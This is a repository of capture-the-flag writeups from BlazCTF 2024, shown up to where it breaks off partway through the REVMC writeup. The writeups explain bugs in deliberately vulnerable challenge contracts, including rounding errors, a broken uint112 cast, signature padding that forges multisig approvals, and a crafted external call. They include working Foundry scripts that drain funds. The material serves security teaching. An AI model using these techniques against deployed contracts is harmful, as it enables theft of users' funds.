├── README.md
└── writeup
├── 8inch.md
├── cyber-cartel.md
├── doju.md
├── i-love-revmc.md
├── oh-fuck-pendle.md
└── template.md
/README.md:
--------------------------------------------------------------------------------
1 | # BlazCTF 2024 Writeup
2 |
3 | 🔥 **DeFiHackLabs Ranked 4th in #BlazCTF!** 💪
4 | 
5 |
6 | This repository contains detailed writeups of the challenges we solved during the BlazCTF 2024. We hope these writeups can help others in the web3 security journey, and let's continue growing together!
7 |
8 | ## Challenges & Writeup
9 |
10 | - [Bigen Layer](https://github.com/fuzzland/blazctf-2024/tree/main/bigen-layer)
11 | - [Chisel as a Service](https://github.com/fuzzland/blazctf-2024/tree/main/chisel-as-a-service)
12 | - [Writeup](https://github.com/minaminao/my-ctf-challenges/blob/main/ctfs/blazctf-2024/chisel-as-a-service/solution/README.md)
13 | - [Cyber Cartel](https://github.com/fuzzland/blazctf-2024/tree/main/cyber-cartel)
14 | - [Writeup](./writeup/cyber-cartel.md) | [Writeup](https://mystiz.hk/posts/2024/2024-09-28-blazctf/#cyber-cartel)
15 | - [Doju](https://github.com/fuzzland/blazctf-2024/tree/main/doju)
16 | - [Writeup](./writeup/doju.md) | [Writeup](https://mystiz.hk/posts/2024/2024-09-28-blazctf/#doju)
17 | - [Eight Inch](https://github.com/fuzzland/blazctf-2024/tree/main/eight-inch)
18 | - [Writeup](./writeup/8inch.md) | [Writeup](https://mystiz.hk/posts/2024/2024-09-28-blazctf/#8inch)
19 | - [Enterprise Blockchain](https://github.com/fuzzland/blazctf-2024/tree/main/enterprise-blockchain)
20 | - [I Love RevMC](https://github.com/fuzzland/blazctf-2024/tree/main/i-love-revmc)
21 | - [Writeup](./writeup/i-love-revmc.md)
22 | - [Oh Fuck OYM](https://github.com/fuzzland/blazctf-2024/tree/main/oh-fuck-oym)
23 | - [Oh Fuck Pendle](https://github.com/fuzzland/blazctf-2024/tree/main/oh-fuck-pendle)
24 | - [Writeup](./writeup/oh-fuck-pendle.md)
25 | - [SafuSol](https://github.com/fuzzland/blazctf-2024/tree/main/safusol)
26 | - [Solalloc](https://github.com/fuzzland/blazctf-2024/tree/main/solalloc)
27 | - [Tony Lend](https://github.com/fuzzland/blazctf-2024/tree/main/tony-lend)
28 | - [Writeup](https://mystiz.hk/posts/2024/2024-09-28-blazctf/#tonylend)
29 | - [Tony Lend 2](https://github.com/fuzzland/blazctf-2024/tree/main/tony-lend-2)
30 | - [Tonyallet](https://github.com/fuzzland/blazctf-2024/tree/main/tonyallet)
31 | - [Tutori4l](https://github.com/fuzzland/blazctf-2024/tree/main/tutori4l)
32 | - [Venn Gated Ronin Bridge](https://github.com/fuzzland/blazctf-2024/tree/main/venn-gated-ronin-bridge)
33 | - [Teragas](https://github.com/fuzzland/blazctf-2024/tree/main/teragas)
34 |
35 | ## Acknowledgements
36 |
37 | Special thanks to Fuzzland for organizing an awesome BlazCTF and to our amazing teammates for their dedication and hard work!
38 |
39 | ## Supporter
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/writeup/8inch.md:
--------------------------------------------------------------------------------
1 | # 8Inch
2 |
3 | Author: cbd1913 ([X/Twitter](https://x.com/cbd1913))
4 |
5 | In this challenge, we are presented with a trade settlement contract where a trade has been created with the sell token `WOJAK` and the buy token `WETH`. The objective is to drain all `WOJAK` tokens and transfer them to the `0xc0ffee` address.
6 |
7 | Within the `createTrade` function, the contract subtracts a `fee` from `_amountToSell` and records it in `trades[tradeId].amountToSell`. The entire amount of `WOJAK` tokens is transferred to the contract. In the `settleTrade` function, only the subtracted amount of `WOJAK` tokens can be transferred to the buyer, meaning we cannot directly drain all `WOJAK` tokens.
8 |
9 | There is an issue in the `settleTrade` function where the buy amount to be transferred is rounded down:
10 |
11 | ```solidity
12 | uint256 tradeAmount = _amountToSettle * trade.amountToBuy;
13 | require(
14 | IERC20(trade.tokenToBuy).transferFrom(
15 | msg.sender,
16 | trade.maker,
17 | tradeAmount / trade.amountToSell
18 | ),
19 | "Buy transfer failed"
20 | );
21 | ```
22 |
23 | This means we can obtain 9 wei of `WOJAK` tokens by calling `settleTrade` with `_amountToSettle = 9`, without needing to provide any `WETH` tokens.
24 |
25 | Additionally, there is an issue in the `SafeUint112` library that allows the value `1<<112` to be converted into `0`:
26 |
27 | ```solidity
28 | /// @dev safeCast is a function that converts a uint256 to a uint112 and reverts on overflow
29 | function safeCast(uint256 value) internal pure returns (uint112) {
30 | require(value <= (1 << 112), "SafeUint112: value exceeds uint112 max");
31 | return uint112(value);
32 | }
33 | ```
34 |
35 | We can exploit this vulnerability by setting a value to exactly `1<<112`, causing it to be converted to `0`.
36 |
37 | Another suspicious function in the contract is `scaleTrade`. This function scales `amountToSell` and `amountToBuy` by multiplying them by a `scale` value, likely to trigger the overflow issue in `SafeUint112`. The critical part we need to bypass is the `originalAmountToSell < newAmountNeededWithFee` condition, as we do not possess any `WOJAK` tokens for the contract to transfer from us. Therefore, we need to make `newAmountNeededWithFee = 0` to bypass this condition. This can be achieved by setting `scale` such that `scale * originalAmountToSell + fee = 1<<112`.
38 |
39 | ```solidity
40 | trade.amountToSell = safeCast(safeMul(trade.amountToSell, scale));
41 | trade.amountToBuy = safeCast(safeMul(trade.amountToBuy, scale));
42 | uint256 newAmountNeededWithFee = safeCast(
43 | safeMul(originalAmountToSell, scale) + fee
44 | );
45 | if (originalAmountToSell < newAmountNeededWithFee) {
46 | require(
47 | IERC20(trade.tokenToSell).transferFrom(
48 | msg.sender,
49 | address(this),
50 | newAmountNeededWithFee - originalAmountToSell
51 | ),
52 | "Transfer failed"
53 | );
54 | }
55 | ```
56 |
57 | However, we cannot directly manipulate the existing `trade` because our address is not the maker:
58 |
59 | ```solidity
60 | require(msg.sender == trades[_tradeId].maker, "Only maker can scale");
61 | ```
62 |
63 | Thus, we must create a new trade and attempt to drain all `WOJAK` tokens. The new trade must use `WOJAK` as the sell token because we want it to transfer `WOJAK` tokens out when calling `settleTrade`. Combined with the first issue, we can first obtain a small amount of `WOJAK` tokens from the contract, then create a new trade with `WOJAK` as the sell token.
64 |
65 | The complete exploit strategy is as follows:
66 |
67 | 1. Drain 32 wei of `WOJAK` tokens from the contract with 4 calls to `settleTrade`.
68 | 2. Create a new trade with 32 wei of `WOJAK` as the sell token and any token as the buy token. The contract will record `amountToSell` as `32 - fee`, which is `2`.
69 | 3. Scale the trade with `scale = ((1 << 112) - 30) / 2` to make `tokenToSell` a large value, thereby bypassing the `originalAmountToSell < newAmountNeededWithFee` condition.
70 | 4. Settle the trade with `_amountToSettle = 10 ether`, which will transfer `10 ether` of `WOJAK` tokens to the contract.
71 |
72 | Script:
73 |
74 | ```solidity
75 | function run() public {
76 | vm.startBroadcast();
77 |
78 | t.settleTrade(0, 9);
79 | t.settleTrade(0, 9);
80 | t.settleTrade(0, 9);
81 | t.settleTrade(0, 5);
82 | SimpleERC20 weth2 = new SimpleERC20(
83 | "Wrapped Ether 2",
84 | "WETH2",
85 | 18,
86 | 10 ether
87 | );
88 | wojak.approve(address(t), 100);
89 | t.createTrade(address(wojak), address(weth2), 32, 0);
90 | t.scaleTrade(1, ((1 << 112) - 30) / 2);
91 | t.settleTrade(1, 10 ether);
92 | console.log("balance of wojak", wojak.balanceOf(user));
93 | wojak.transfer(address(0xc0ffee), 10 ether);
94 | vm.stopBroadcast();
95 | }
96 | ```
97 |
--------------------------------------------------------------------------------
/writeup/cyber-cartel.md:
--------------------------------------------------------------------------------
1 | # Cyber Cartel
2 |
3 | Author: JesJupyter ([X/Twitter](https://x.com/jesjupyter))
4 |
5 | ## Background
6 |
7 | ## Introduction
8 | Malone, Wiz and Box recently robbed a billionaire and deposited their proceeds into a multisig treasury. And who is Box? The genius hacker behind everything. He's gonna rob his friends...
9 |
10 |
11 | ### ECDSA signing
12 |
13 | In Ethereum and Solidity, digital signatures play a crucial role in verifying the authenticity of transactions and messages. These signatures stem from the ECDSA algorithm and are typically 65 bytes long and follow a specific structure known as the "Signature of Solidity."
14 |
15 | The 65-byte signature is composed of three parts:
16 |
17 | 1. r (32 bytes): The first 32 bytes of the signature, representing the x-coordinate of the ephemeral public key.
18 | 2. s (32 bytes): The next 32 bytes, representing the signature proof.
19 | 3. v (1 byte): The final byte, used for recovery of the signer's public key.
20 |
21 | The signature scheme used in Ethereum is based on the Elliptic Curve Digital Signature Algorithm (ECDSA) with the secp256k1 curve.
22 |
23 | To extract r, s, and v from a signature in Solidity:
24 |
25 | we can refer to the following Solidity Code in [Solidity by Example](https://solidity-by-example.org/signature/)
26 |
27 | ```solidity
28 | function splitSignature(bytes memory sig)
29 | public
30 | pure
31 | returns (bytes32 r, bytes32 s, uint8 v)
32 | {
33 | require(sig.length == 65, "invalid signature length");
34 |
35 | assembly {
36 | /*
37 | First 32 bytes stores the length of the signature
38 |
39 | add(sig, 32) = pointer of sig + 32
40 | effectively, skips first 32 bytes of signature
41 |
42 | mload(p) loads next 32 bytes starting at the memory address p into memory
43 | */
44 |
45 | // first 32 bytes, after the length prefix
46 | r := mload(add(sig, 32))
47 | // second 32 bytes
48 | s := mload(add(sig, 64))
49 | // final byte (first byte of the next 32 bytes)
50 | v := byte(0, mload(add(sig, 96)))
51 | }
52 |
53 | // implicitly return (r, s, v)
54 | }
55 | ```
56 |
57 |
58 | ## Analysis
59 |
60 | ### How to attack the `CartelTreasury`
61 |
62 | To attack the `CartelTreasury` by draining all the funds, there are some relevant functions.
63 |
64 | ```solidity
65 | function doom() external guarded {
66 | payable(msg.sender).transfer(address(this).balance);
67 | }
68 | /// Dismiss the bodyguard
69 | function gistCartelDismiss() external guarded {
70 | bodyGuard = address(0);
71 | }
72 | ```
73 |
74 | Since `doom()` will send all funds to `msg.sender` which is the `bodyGuard`, we can't rely on it directly to drain all the funds.
75 |
76 | Instead, since `gistCartelDismiss()` will set `bodyGuard` to `address(0)`, which means we can first call `gistCartelDismiss()` to dismiss the `bodyguard`, call `initialize()` to reset the `bodyGuard` back to `msg.sender`, and then call `doom()` to drain all the funds.
77 |
78 | So, the steps to drain all the funds are:
79 |
80 | 1. Call `gistCartelDismiss()` from `bodyGuard` to dismiss the `bodyguard`.
81 | 2. Call `initialize()` to reset the `bodyGuard` back to `msg.sender`.
82 | 3. Call `doom()` to drain all the funds.
83 |
84 | ### How to let `bodyGuard` to call `gistCartelDismiss`
85 |
86 | We can only rely on `bodyGuard` to call `gistCartelDismiss()` since `bodyGuard` is a trusted address. The only external call to `CartelTreasury` is in the function `propose` in `Bodyguard`.
87 |
88 | ```solidity
89 | function propose(Proposal memory proposal, bytes[] memory signatures) external {
90 | require(proposal.expiredAt > block.timestamp, "Expired");
91 | require(proposal.nonce > lastNonce, "Invalid nonce");
92 |
93 | uint256 minVotes_ = minVotes;
94 | if (guardians[msg.sender]) {
95 | minVotes_--;
96 | }
97 |
98 | require(minVotes_ <= signatures.length, "Not enough signatures");
99 | require(validateSignatures(hashProposal(proposal), signatures), "Invalid signatures");
100 |
101 | lastNonce = proposal.nonce;
102 |
103 | uint256 gasToUse = proposal.gas;
104 | if (gasleft() < gasToUse) {
105 | gasToUse = gasleft();
106 | }
107 |
108 | (bool success,) = treasury.call{gas: gasToUse * 9 / 10}(proposal.data);
109 | if (!success) {
110 | revert("Execution failed");
111 | }
112 | }
113 | ```
114 |
115 | So the problem changes to how can we bypass the `validateSignatures` check in `propose` since only `msg.sender`(only 1 guardian) will not be enough to get `minVotes_`.
116 |
117 | ```solidity
118 | function validateSignatures(bytes32 digest, bytes[] memory signaturesSortedBySigners) public view returns (bool) {
119 | bytes32 lastSignHash = bytes32(0); // ensure that the signers are not duplicated
120 |
121 | for (uint256 i = 0; i < signaturesSortedBySigners.length; i++) {
122 | address signer = recoverSigner(digest, signaturesSortedBySigners[i]);
123 | require(guardians[signer], "Not a guardian");
124 |
125 | bytes32 signHash = keccak256(signaturesSortedBySigners[i]);
126 | if (signHash <= lastSignHash) {
127 | return false;
128 | }
129 |
130 | lastSignHash = signHash;
131 | }
132 |
133 | return true;
134 | }
135 | function recoverSigner(bytes32 digest, bytes memory signature) public pure returns (address) {
136 | bytes32 r;
137 | bytes32 s;
138 | uint8 v;
139 | assembly {
140 | r := mload(add(signature, 32))
141 | s := mload(add(signature, 64))
142 | v := byte(0, mload(add(signature, 96)))
143 | }
144 | return ecrecover(digest, v, r, s);
145 | }
146 | ```
147 |
148 | When we compare the `recoverSigner` with the example code we provided above, we notice `signature` length is not compared against 65 bytes. But `signHash` is calculated from the entire `signature` which could actually be longer than 65 bytes.
149 |
150 | So, when we already have 1 valid 65 bytes signature, we can append more bytes to it to make it longer than 65 bytes and we can still generate the same `r`, `s`, `v` in `recoverSigner`. By doing so, we can forge multiple signatures from 1 valid one and pass the `validateSignatures` check.
151 |
152 | ### CTF Script
153 |
154 | ```solidity
155 | // SPDX-License-Identifier: UNLICENSED
156 | pragma solidity ^0.8.0;
157 |
158 | import "forge-std/Script.sol";
159 | import {Challenge} from "../src/Challenge.sol";
160 | import "../src/CyberCartel.sol";
161 | import "../src/Challenge.sol";
162 |
163 | contract TestScript is Script {
164 |
165 |
166 | function run() public {
167 | Challenge challenge = Challenge(CHALLENGE_ADDRESS);
168 | uint256 deployerPrivateKey = PRIVATE_KEY;
169 | address user = vm.addr(deployerPrivateKey);
170 | vm.startBroadcast(deployerPrivateKey);
171 |
172 | CartelTreasury cartel = CartelTreasury(payable(challenge.TREASURY()));
173 | BodyGuard bodyGuard = BodyGuard(cartel.bodyGuard());
174 |
175 | // create a proposal to call `gistCartelDismiss` and generate signatures
176 | BodyGuard.Proposal memory proposal = BodyGuard.Proposal({
177 | expiredAt: uint32(block.timestamp) + 100,
178 | gas: 100000,
179 | nonce: 200,
180 | data: abi.encodeWithSelector(CartelTreasury.gistCartelDismiss.selector)
181 | });
182 |
183 | // Hash the proposal
184 | bytes32 proposalHash = bodyGuard.hashProposal(proposal);
185 |
186 | // Generate signature
187 | (uint8 v, bytes32 r, bytes32 s) = vm.sign(deployerPrivateKey, proposalHash);
188 | bytes memory signature = abi.encodePacked(r, s, v);
189 |
190 | // Get minVotes from bodyGuard, we set it to 5 for convenience
191 | uint8 minVotes = 5;
192 |
193 | // Generate an array of bytes with length equal to minVotes
194 | bytes[] memory signatures = new bytes[](minVotes);
195 |
196 | // Fill the array with signatures
197 | for (uint8 i = 0; i < minVotes; i++) {
198 | // Append a byte to the signature to make it unique
199 | bytes memory uniqueSignature = abi.encodePacked(signature, bytes1(i));
200 | signatures[i] = uniqueSignature;
201 | }
202 |
203 | // Sort the signatures array based on keccak256 hash
204 | for (uint8 i = 0; i < minVotes - 1; i++) {
205 | for (uint8 j = 0; j < minVotes - i - 1; j++) {
206 | if (keccak256(signatures[j]) > keccak256(signatures[j + 1])) {
207 | bytes memory temp = signatures[j];
208 | signatures[j] = signatures[j + 1];
209 | signatures[j + 1] = temp;
210 | }
211 | }
212 | }
213 |
214 | bodyGuard.propose(proposal, signatures);
215 | cartel.initialize(user);
216 | cartel.doom();
217 | challenge.isSolved();
218 |
219 | vm.stopBroadcast();
220 | }
221 | }
222 |
223 | ```
224 |
225 |
226 |
227 |
228 |
229 |
230 |
231 |
232 |
233 |
234 |
--------------------------------------------------------------------------------
/writeup/doju.md:
--------------------------------------------------------------------------------
1 | # Doju
2 |
3 | Author: cbd1913 ([X/Twitter](https://x.com/cbd1913))
4 |
5 | In this challenge, we are presented with two Solidity contracts: **Doju** and **Challenge**. The Doju contract implements a bonding curve token, and the Challenge contract interacts with it. Our goal is to exploit a vulnerability in the Doju contract to increase the balance of the `0xc0ffee` address beyond half of the maximum `uint256` value.
6 |
7 | The Doju contract is a simplified ERC20 token with a bonding curve mechanism for buying and selling tokens:
8 |
9 | - **Buying Tokens**: Users can buy tokens by sending ETH to the contract. The amount of tokens minted is determined by a bonding curve formula in the `_ethToTokens` function.
10 | - **Selling Tokens**: Users can sell tokens back to the contract in exchange for ETH, using the bonding curve formula in the `_tokensToEth` function.
11 |
12 | Key functions in the contract:
13 |
14 | - `buyTokens(address to)`: Mints new tokens based on the amount of ETH sent.
15 | - `sellTokens(uint256 tokenAmount, address to, uint256 minOut)`: Burns tokens and sends ETH back to the user.
16 | - `transfer(address to, uint256 value)`: Transfers tokens to another address or triggers a sell if the to address is the burn address (address(0)).
17 |
18 | The bonding curve ensures that the token price increases as the total supply increases and decreases as the supply decreases. And the Challenge contract has a function isSolved() that checks if the balance of 0xc0ffee is greater than half of the maximum uint256 value:
19 |
20 | ```solidity
21 | function isSolved() public view returns (bool) {
22 | return doju.balanceOf(address(0xc0ffee)) > type(uint256).max / 2;
23 | }
24 | ```
25 |
26 | ## Observation
27 |
28 | One might consider force-sending ETH to the Doju contract (e.g., via selfdestruct) to manipulate the bonding curve calculations. However, this approach doesn’t provide a practical way to drain or mint a large number of Doju tokens due to the bonding curve’s mathematical constraints.
29 |
30 | However, the critical vulnerability lies within the sellTokens function:
31 |
32 | ```solidity
33 | function sellTokens(uint256 tokenAmount, address to, uint256 minOut) public {
34 | uint256 ethValue = _tokensToEth(tokenAmount);
35 | _transfer(msg.sender, address(this), tokenAmount);
36 | totalSupply -= tokenAmount;
37 | (bool success,) = payable(to).call{value: ethValue}(abi.encodePacked(minOut, to, tokenAmount, msg.sender, ethValue));
38 | require(minOut > ethValue, "minOut not met");
39 | require(success, "Transfer failed");
40 | emit Burn(msg.sender, tokenAmount);
41 | emit Transfer(msg.sender, address(0), tokenAmount);
42 | }
43 | ```
44 |
45 | 1. Arbitrary External Call: The contract performs a low-level call to the to address with controlled data and forwards ETH (ethValue).
46 | 1. Ineffective minOut Check: The require(minOut > ethValue, "minOut not met"); condition is illogical because minOut should be less than or equal to ethValue to ensure the user receives at least minOut. This condition can be bypassed by setting minOut to a high value.
47 |
48 | ## Exploit
49 |
50 | Our plan is to exploit the arbitrary external call to make the Doju contract call its own transfer function with controlled parameters, transferring a massive amount of tokens to the 0xc0ffee address. We need to carefully construct the data passed to the call so that when the Doju contract executes it, it interprets it as a call to `transfer(address to, uint256 value)`. The call uses abi.encodePacked:
51 |
52 | ```solidity
53 | abi.encodePacked(minOut, to, tokenAmount, msg.sender, ethValue)
54 | ```
55 |
56 | We can control minOut and tokenAmount, and `to` should be set as the contract's address. Our goal is to set up the data so that:
57 |
58 | - The first 4 bytes correspond to the function selector of `transfer(address,uint256)`.
59 | - The next 32 bytes is an address that we have control over.
60 | - The following 32 bytes represent the value, which we’ll set to a large number.
61 |
62 | So we can set the first 4 bytes of `minOut` are to be `0xa9059cbb` which is the function selector of `transfer(address,uint256)`. And the last 16 bytes plus the first 4 bytes of `to` should be an address that we have control over. We can use tools like [Profanity2](https://github.com/1inch/profanity2) to generate the address with given suffix. And the last 16 bytes of `to` will be interpreted as the amount to transfer, so can set `tokenAmount` = 0 to let the contract transfer a large amount of Doju token out.
63 |
64 | We need to generate a Public key used for profanity2:
65 |
66 | ```shell
67 | openssl ecparam -genkey -name secp256k1 -text -noout -outform DER | xxd -p -c 1000 | sed 's/41534e31204f49443a20736563703235366b310a30740201010420/Private Key: /' | sed 's/a00706052b8104000aa144034200/\'$'\nPublic Key: /'
68 | ```
69 |
70 | Or Import from existing one Private key:
71 |
72 | ```shell
73 | openssl ec -inform DER -text -noout -in <(cat <(echo -n "302e0201010420") <(echo -n "PRIVATE_KEY_HEX") <(echo -n "a00706052b8104000a") | xxd -r -p) 2>/dev/null | tail -6 | head -5 | sed 's/[ :]//g' | tr -d '\n' && echo
74 | ```
75 |
76 | Now all we need is to generate a vanity address ends with specific with public key(without 04 prefix) as a parameter.
77 |
78 | Here is how we use profanity2 to generate the address ends with `0xc47FCc04`
79 |
80 | ```shell
81 | ./profanity2.x64 -z [Public Key Without 04 prefix] --matching XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXc47FCc04
82 | ```
83 |
84 | We can get a private key B from the output then we need to calcuate the real private key from a combination calculation of private key we generate using `openssl` and private key from the profanity:
85 |
86 | ```shell
87 | Time: 34s Score: 4 Private: {PRIVATE_KEY_FROM_PROFANITY2} Address: 0xfb58d679d717ace20623ae0738ad2680c47fcc04
88 | ```
89 |
90 | ```shell
91 | (echo 'ibase=16;obase=10' && (echo '(Private key from openssl + Private key from profanity2(with out 0x prefix)) % FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F' | tr '[:lower:]' '[:upper:]')) | bc
92 | ```
93 |
94 |
95 | Then we could get the real private key and we could verify it using `cast`
96 |
97 | ```shell
98 | cast wallet address [private key from calculation]
99 | ```
100 |
101 |
102 |
103 |
--------------------------------------------------------------------------------
/writeup/i-love-revmc.md:
--------------------------------------------------------------------------------
1 | # I Love REVMC
2 |
3 | Author: cbd1913 ([X/Twitter](https://x.com/cbd1913))
4 |
5 | ## Background
6 |
7 | In this challenge, we have a modified version of `anvil` and `revm`, where a JIT compiler feature is added. This feature is enabled by the `revmc` crate. The following are the main modifications.
8 |
9 | ### foundry and anvil
10 |
11 | - Dependencies for `revm` are updated to a local path, and `revmc` is added. Additionally, the `optional_balance_check` and `optional_disable_eip3074` features are enabled for `revm` in `anvil`.
12 | - A new JSON RPC method `blaz_jitCompile` is added to compile a contract's bytecode into a shared library. It will execute the `jit-compiler` command to compile the bytecode into a library.
13 |
14 | ```rust
15 | // some code is omitted for brevity
16 | let code = self.get_code(addr, None).await?;
17 | let mut prev_jit_addr = self.jit_addr.write().await;
18 | std::fs::write("/tmp/code.hex", hex::encode(code)).map_err(|e| {
19 | BlockchainError::Internal(format!("Failed to write code to /tmp/code.hex: {e}"))
20 | })?;
21 |
22 | let jit_compiler_path =
23 | std::env::var("JIT_COMPILER_PATH").unwrap_or_else(|_| "/opt/jit-compiler".to_string());
24 | let output = std::process::Command::new(jit_compiler_path)
25 | .output()
26 | .map_err(|e| BlockchainError::Internal(format!("Failed to run jit-compile: {e}")))?;
27 | ```
28 |
29 | - After that, `jit_addr` will be set in the anvil backend, and `new_evm_with_jit` will be used to process new transactions in `executor.rs`.
30 | - In the new transaction processing logic, it uses `JitHelper::get_function` to override the existing `get_function` in `inspector.rs`.
31 | - In `JitHelper`, it dynamically loads `libjit.so`, calls `jit_init` with some function pointers to initialize it, then returns `real_jit_fn` as `EvmCompilerFn`. This function should be called somewhere when a transaction is executed.
32 |
33 | ```rust
34 | // some code is omitted for brevity
35 | // open libjit.so
36 | let libjit = libc::dlopen(b"libjit.so\0".as_ptr() as *const libc::c_char, libc::RTLD_LAZY);
37 | let jit_init = libc::dlsym(libjit, b"jit_init\0".as_ptr() as *const libc::c_char);
38 | let mut funcs: [*mut libc::c_void; 40] = [
39 | revmc_builtins::__revmc_builtin_panic as _,
40 | // more functions ...
41 | ];
42 | let jit_init: extern "C" fn(*mut *mut libc::c_void) = std::mem::transmute(jit_init);
43 | jit_init(funcs.as_mut_ptr());
44 |
45 | let func = libc::dlsym(libjit, b"real_jit_fn\0".as_ptr() as *const libc::c_char);
46 | let func: RawEvmCompilerFn = std::mem::transmute(func);
47 | return Some(EvmCompilerFn::from(func));
48 | ```
49 |
50 | ### revm and revmc
51 |
52 | - A field `disable_authorization` is added to `TxEnv` when the `optional_disable_eip3074` feature is enabled, and `disable_balance_check` is moved up in `CfgEnv`.
53 | - In `translate_inst` inside `revmc`, which is the core logic of translating bytecode into IR (internal representation), it modifies the logic of processing the `op::BLOBHASH` instruction to use `build_blobhash`.
54 | - In `build_blobhash`, it has complex logic for building IR code to read the blob hash. It calculates the memory offset to read the length from the `blob_hashes` field in `TxEnv`, checks whether it's out of bounds, gets the element pointer of the desired blob hash item, reads, and returns it.
55 |
56 | ### JIT Compiler
57 |
58 | - In `linker.c`, it declares many function pointers like `__revmc_builtin_gas_price_ptr` and `__revmc_builtin_balance_ptr`, which are `0` and will be set by `jit_init()`.
59 | - In `load_flag()`, it reads the flag and stores it at memory address `0x13370000`.
60 | - According to `anvil-image/build.sh`, `linker.c` will be compiled into `libjit_dummy.o`.
61 | - In the JIT compiler's main logic `main.rs`, it reads from `/tmp/code.hex` and uses `EvmCompiler` from `revmc` to compile it into `/tmp/libjit_main.o`, which is the implementation of `real_jit_fn`.
62 | - Then it's combined with `/tmp/libjit_dummy.o` to produce the final shared library `/lib/libjit.so`.
63 |
64 | ## Analysis
65 |
66 | We can understand the whole flow now:
67 |
68 | 1. Deploy a smart contract.
69 | 1. Call `blaz_jitCompile` to compile it. It executes the pre-compiled `jit-compiler` binary which does the following:
70 | - Reads the smart contract's bytecode and uses `revmc` to translate each EVM opcode into IR code.
71 | - The IR code is compiled into `real_jit_fn` of the shared library `/lib/libjit.so`.
72 | 1. Submit a transaction with the `to` address being the malicious contract.
73 | 1. `real_jit_fn` will be called with some arguments related to the current transaction. The program logic written by `jit-compiler` is executed at this step.
74 | - During the execution of `real_jit_fn`, it can call some `revmc` built-in functions to interact with Rust code.
75 | 1. We need to find a way to let `real_jit_fn` read the flag from memory `0x13370000`.
76 |
77 | Because `real_jit_fn` is compiled from IR code generated by `revmc`, we need to find a bug in `revmc` which may generate incorrect IR code and cause out-of-bounds memory read. The only modified implementation in `revmc` is the `BLOBHASH` opcode, so we should investigate its logic.
78 |
79 | ```rust
80 | fn build_blobhash(&mut self) {
81 | let index = self.bcx.fn_param(0);
82 | let env = self.bcx.fn_param(1);
83 | let isize_type = self.isize_type;
84 | let word_type = self.word_type;
85 |
86 | let tx_env_offset = mem::offset_of!(Env, tx);
87 | let blobhash_offset = mem::offset_of!(TxEnv, blob_hashes);
88 | let blobhash_len_offset = mem::offset_of!(pf::Vec, len);
89 | let blobhash_ptr_offset = mem::offset_of!(pf::Vec, ptr);
90 |
91 | let blobhash_len_ptr = self.get_field(
92 | env,
93 | tx_env_offset + blobhash_offset + blobhash_len_offset,
94 | "env.tx.blobhashes.len.addr",
95 | );
96 | let blobhash_ptr_ptr = self.get_field(
97 | env,
98 | tx_env_offset + blobhash_offset + blobhash_ptr_offset,
99 | "env.tx.blobhashes.ptr.addr",
100 | );
101 |
102 | let blobhash_len = self.bcx.load(isize_type, blobhash_len_ptr, "env.tx.blobhashes.len");
103 | // convert to u256
104 | let blobhash_len = self.bcx.zext(word_type, blobhash_len);
105 |
106 | // check for out of bounds
107 | let in_bounds = self.bcx.icmp(IntCC::UnsignedLessThan, index, blobhash_len);
108 | let zero = self.bcx.iconst_256(U256::ZERO);
109 |
110 | // if out of bounds, return 0
111 | let r = self.bcx.lazy_select(
112 | in_bounds,
113 | word_type,
114 | |bcx| {
115 | let index = bcx.ireduce(isize_type, index);
116 | let blobhash_ptr =
117 | bcx.load(self.ptr_type, blobhash_ptr_ptr, "env.tx.blobhashes.ptr");
118 |
119 | let address = bcx.gep(word_type, blobhash_ptr, &[index], "blobhash.addr");
120 | let tmp = bcx.new_stack_slot(word_type, "blobhash.addr");
121 | tmp.store(bcx, zero);
122 | let tmp_addr = tmp.addr(bcx);
123 | let tmp_word_size = bcx.iconst(isize_type, 32);
124 | bcx.memcpy(tmp_addr, address, tmp_word_size);
125 |
126 | let mut value = tmp.load(bcx, "blobhash.i256");
127 | if cfg!(target_endian = "little") {
128 | value = bcx.bswap(value);
129 | }
130 | value
131 | },
132 | |_bcx| zero,
133 | );
134 |
135 | self.bcx.ret(&[r]);
136 | }
137 | ```
138 |
139 | The main logic is:
140 |
141 | 1. Determine the memory offset of the length of `blob_hashes` in `Env`. This is calculated by finding the offset of the `Tx` struct in `Env`, then adding the offsets of the `blob_hashes` field in `Tx`, and finally adding the offset of the `len` field in `blob_hashes`.
142 | 2. Use the same logic to get the pointer to the first item of `blob_hashes`.
143 | 3. Read the length of `blob_hashes` from `blobhash_len_ptr`, and build a condition to check whether `index` is out of bounds.
144 | 4. If out of bounds, return 0. Otherwise, read the `blob_hashes` item at `index` and return it.
145 | 5. The memory address of `blob_hashes[i]` is calculated by `blobhash_ptr + 32 * index`.
146 |
147 | The interesting part is that this code is building another program to be executed at transaction runtime. When building IR code for the `BLOBHASH` operation, it doesn't know the exact input of `Env` and `index`, so it builds some symbolic logic to handle them. Therefore, if the calculated memory address of `blob_hashes[i]` is not as expected, it will trigger an out-of-bounds memory read.
148 |
149 | ## The Bug (Spoiler)
150 |
151 | The calculation of the `blob_hashes[i]` memory address is incorrect. At the compile time of the bytecode, it uses a pre-compiled `jit-compiler` binary, which depends on the `revm` and `revmc` crates with no other feature flags turned on. However, at runtime, `anvil` has enabled several features like `optional_disable_eip3074` and `optional_balance_check` for `revm`, which introduces a memory layout shift in `CfgEnv` and `TxEnv`.
152 |
153 | ```rust
154 | struct CfgEnv {
155 | // ...
156 | /// Skip balance checks if true. Adds transaction cost to balance to ensure execution doesn't fail.
157 | #[cfg(feature = "optional_balance_check")]
158 | pub disable_balance_check: bool,
159 | // ...
160 | #[cfg(feature = "optional_eip3607")]
161 | pub disable_eip3607: bool,
162 | // ...
163 | }
164 |
165 | struct TxEnv {
166 | // ...
167 | /// Disable authorization
168 | #[cfg(feature = "optional_disable_eip3074")]
169 | pub disable_authorization: bool,
170 | // ...
171 | }
172 | ```
173 |
174 | At runtime, the sizes of `CfgEnv` and `TxEnv` are larger than their sizes when building the IR code, so the memory address of the `blob_hashes` field in `TxEnv` is different. After printing the struct and size, we found that the actual shift is 48 bytes, which means the `blob_hashes` field in `TxEnv` is 48 bytes ahead of the expected position of the JIT Compiler. This causes the calculated memory address of `blob_hashes[i]` to point to the previous field in `TxEnv`, which is `gas_priority_fee`.
175 |
176 | ```txt
177 | +---------------------------------+--------------------+--------------------+-----------------+
178 | | gas_priority_fee (40 bytes) | capacity (8 bytes) | pointer (8 bytes) | length (8 bytes)|
179 | +---------------------------------+--------------------+--------------------+-----------------+
180 | ```
181 |
